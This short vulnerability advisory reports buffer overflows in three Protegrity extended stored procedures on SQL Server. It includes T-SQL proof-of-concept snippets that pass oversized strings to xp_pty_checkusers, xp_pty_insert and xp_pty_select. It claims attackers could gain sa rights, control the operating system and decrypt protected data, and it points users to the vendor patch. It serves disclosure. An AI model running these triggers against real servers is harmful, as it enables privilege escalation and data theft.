There is a company that does encryption of databases called Protegrty. They use extended stored procedures to do the 
encryption and decryption. I tested 3 of the extended stored procedures and found all 3 vulnerable to buffer overflows.


DECLARE @test varchar(8000)

SET @test = (SELECT replicate('x',1926))

execute master.dbo.xp_pty_checkusers 'as', @test


DECLARE @test varchar(8000)

SET @test = (SELECT replicate('x',850))

execute master.dbo.xp_pty_insert @test, @test, @test


DECLARE @test varchar(8000)

SET @test = (SELECT replicate('x',850))

execute master.dbo.xp_pty_select @test, @test, @test


These security holes are fully exploitable and would allow an attacker to perform any of the following:

1)       become sa on the box

2)       gain control of the operating system

3)       decrypt the sensitive data Protegrity is encrypting


If you have this software, contact the vendor for the patch.
